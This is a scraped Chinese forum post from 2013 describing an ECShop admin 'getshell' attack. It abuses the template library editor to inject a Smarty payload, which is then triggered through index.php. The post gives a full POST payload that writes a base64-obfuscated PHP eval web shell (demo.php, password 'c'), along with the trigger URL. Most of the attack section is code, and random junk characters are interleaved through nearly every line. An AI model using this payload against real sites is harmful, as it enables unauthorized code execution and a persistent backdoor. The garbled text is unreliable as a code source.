找回密码
 立即注册
查看: 2817|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板) _3 E+ J; F1 [; d( r, P$ ^7 j
$ c5 o' t# Y. g5 ]5 @$ ~
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
; D- P$ K9 L! J) r但是ecshop似乎不支持{php}{/php}这个标签来执行php代码# f, Q  S7 V: m0 L
admin/template.php* P; h, `- K* a  }$ c8 b, o

1 `. c8 B) h  \0 x9 `, l6 K' s. e9 P1 if ($_REQUEST['act'] == 'update_library') 1 w" L1 B& q/ i! a, E
0 J# S0 p# k6 G. G1 D
2   
: \" l; l# t+ e7 K! ~. ]) s$ ?: m- M) P
3 { 0 T& S% A- @  N1 M

, b% b& [9 B+ }7 ?& G4     check_authz_json('library_manage');
# q* i* p4 N! v; `
: C9 x; I6 c; `  ~5 M& A& `& |6 e5   ' H# V* L" p9 R; g- p( l  a2 M
2 l' ~: U* n7 _# B6 R1 B# V
6     $html = stripslashes(json_str_iconv($_POST['html'])); 8 h5 A0 @, X( T  R
& V9 C8 Z7 \* R. N2 P
7   
  J1 }( c9 m3 T7 z* T0 h* h1 X5 r& g* S" ?$ T/ e
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
1 M. A! L. n& x7 a' D/ z- \1 Z8 v% i+ k  t
9   
/ Y& z" K' R3 \% T! ?% }5 ^/ z8 ^
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 # F2 _$ Z5 @0 e$ |$ Q
' ]& L, |# G( L1 h) [/ ], n
11   : ]4 G1 \; b7 t6 n+ L& T8 Q
* ]0 f5 B. v3 f& @; F
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); & @4 l2 P3 ]' ^) o+ F

# Q. Q  v9 `% @8 _  `* \- x13   * [" ^3 k+ G) {1 L

$ D. G, s9 J# D* S14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
  y) I$ C/ w1 j! P
: Y! W. m6 m! o: p3 N0 v* M  Y# `15     { % i% [  r1 c! \" p  i
# }" D% a  h/ {
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); & x. y) j7 ?/ A' `5 U1 M& ~
+ a" ]5 A/ P. t* [  E: a7 M9 W
17         make_json_result('', $_LANG['update_lib_success']);
3 ~8 F$ Y8 x$ w2 j8 z
3 ]1 ^, ?0 ~' ?* b18     } 3 c, v( M! A5 t

( t7 d+ I3 |, q19     else 9 X& D  o; V" q# N! r: [( ?& c

  y0 r/ v$ q! b; v3 m20     {
0 v/ Z* X9 P. \1 o: r  r7 g4 J- U
% \' K6 z8 _* P9 U. p; _- a21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
9 n6 P9 B3 r3 ]4 {2 Q" a. V$ u1 V5 R1 M* N  t
22     } " F9 L  f* u4 ^8 u

) F. V7 w$ W. ?/ c. ^# f23 }
, T7 q+ Q$ O9 _7 t- K
2 \" w2 a5 J2 @) u0 A. u那么找个比较方便调用了模板的文件) O0 g' \4 i0 S6 y
index.php
5 V* A* [: M- A4 ]# I) K( p& i7 x' n' \; H" I! R; X$ B
1 if ($act == 'cat_rec')
, h( m; z* w* J9 v2 [4 J) L. \$ g) j9 C
2   
  V4 o7 @- p( w8 I9 T- Y: H' ?& L1 R
- O2 ?# C* E' C5 b! R5 L( S6 s3 { , E  N2 H4 f# D0 G4 X
1 [% R7 b/ a3 `# U
4   ( v, y' Z. R0 G( J* Q

9 A6 v' L& f# |* |6 t5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');   z$ P: v) M8 w1 h' ^* L0 ^
3 L8 l/ d6 A1 \$ m' Y
6   
! a# i2 ^# Y" W& {2 Y* ?- y( @- Z5 K% M% z1 k4 Z; m! E
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 1 w1 P. u9 t1 O) C) {) ]3 E! [+ r) ~

& t3 G, n' o" j8   
0 x* ^) |7 A% v5 f( d; `. V: v. \& Z3 s
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
( ~( R! U+ _" y# F
9 o0 x  M  G$ ~10   
; N; E1 z9 J/ c0 i+ c$ Z3 N+ D7 c) w4 N# U0 y' m
11     include_once('includes/cls_json.php');
. j/ Z8 M4 @3 V4 w4 N. `
$ R1 K& i- W4 ^: e12   
* I' s$ e+ V: V5 P$ Y; O
$ d- h' i9 t1 T# R8 N$ ]13     $json = new JSON;
% ]9 u8 r: L: g* c
# [' u( h5 g, j: H" H14   
9 n3 O4 A; K5 H2 E. C  c
+ S& @1 x+ c3 d* f( z# n15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); : [8 G4 t4 a" X

7 J/ J1 Z# Q5 I) `7 y, k& X16   
$ G! E# l2 e7 _& K, D4 N1 n0 ?2 G. x" k1 T# r3 w: E* q6 [4 r. G
17     $children = get_children($cat_id); - E3 g' C/ p# v2 @% M& c7 S
2 l' k$ Y' p5 b
18   
- w7 s6 h+ R' W% P% d% n
6 M: x& i$ c1 @0 o" c! X* X4 N19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品   W2 _1 L# v$ Q$ F

) l2 _. @! l7 \7 J20   
1 [5 r6 ~5 G+ `0 Q! ?* d( q+ N- n8 W& p
21     $smarty->assign('cat_rec_sign', 1);
0 j7 b% X  h4 {# n. \
- m$ @' V% S7 i( o3 {7 K22   
+ K' ?1 h9 J+ C+ D- \* Y, N: U' z; T( p, a
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 7 s8 ^, F% S, G# [% U
$ F0 `" `$ O9 _5 R
24   
; w/ r1 V7 }( ~' h2 K+ a# y- |  o; B) j: C2 E
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
# U$ N' F1 r( s- f+ }0 ^% N
6 m( V& q5 E7 |7 N26   
, x8 V7 q: q+ J; r9 [0 a) ]% k: D( f. z5 t/ h9 P; h- z  o. e
27         echo $rec_array[$rec_type];
5 z. Z9 [0 K2 @9 a9 m) A/ ~' f2 \' e  J
28   ( v! o: j1 r$ X( t9 k6 s: X
! N/ e0 E) e% v4 ^* v3 S5 S  }
29     die($json->encode($result));
/ b. e3 I5 Z+ n0 g7 b# {' _" Z! C; C1 Z4 y  d; h2 H9 J
30   
& v: `6 ^1 r* Q" v# J0 o6 z1 L$ F. M4 r: Q4 p0 }' C
31 }
1 o- u0 g7 Q* i  Y# a! d6 i+ W
那么就有利用方法了
% m( `, B" M4 epost包到http://localhost/ec/admin/template.php?act=update_library
; W5 p4 I8 q) X1 LPost内容:
& B, p  Q* ~1 P% S( a
% O6 k) q. f! G1 e( i. j+ f- g
3 i  v0 F  ?3 X8 Z1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
. d8 x; `5 y/ M, O6 e0 V
( m; i+ _% e) @: f% ~( K9 U然后访问http://localhost/ec/index.php?act=cat_rec& v* @7 r" M' B" o7 s9 ^9 E7 s- F

+ s4 D* ~) ]% O  nshel地址:http://localhost/ec/demo.php
9 E# E: s$ d; `. y, H0 ]' i: W' \密码c
2 C$ f' J* N) L* Y4 f; O+ Q$ c7 u" [, _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表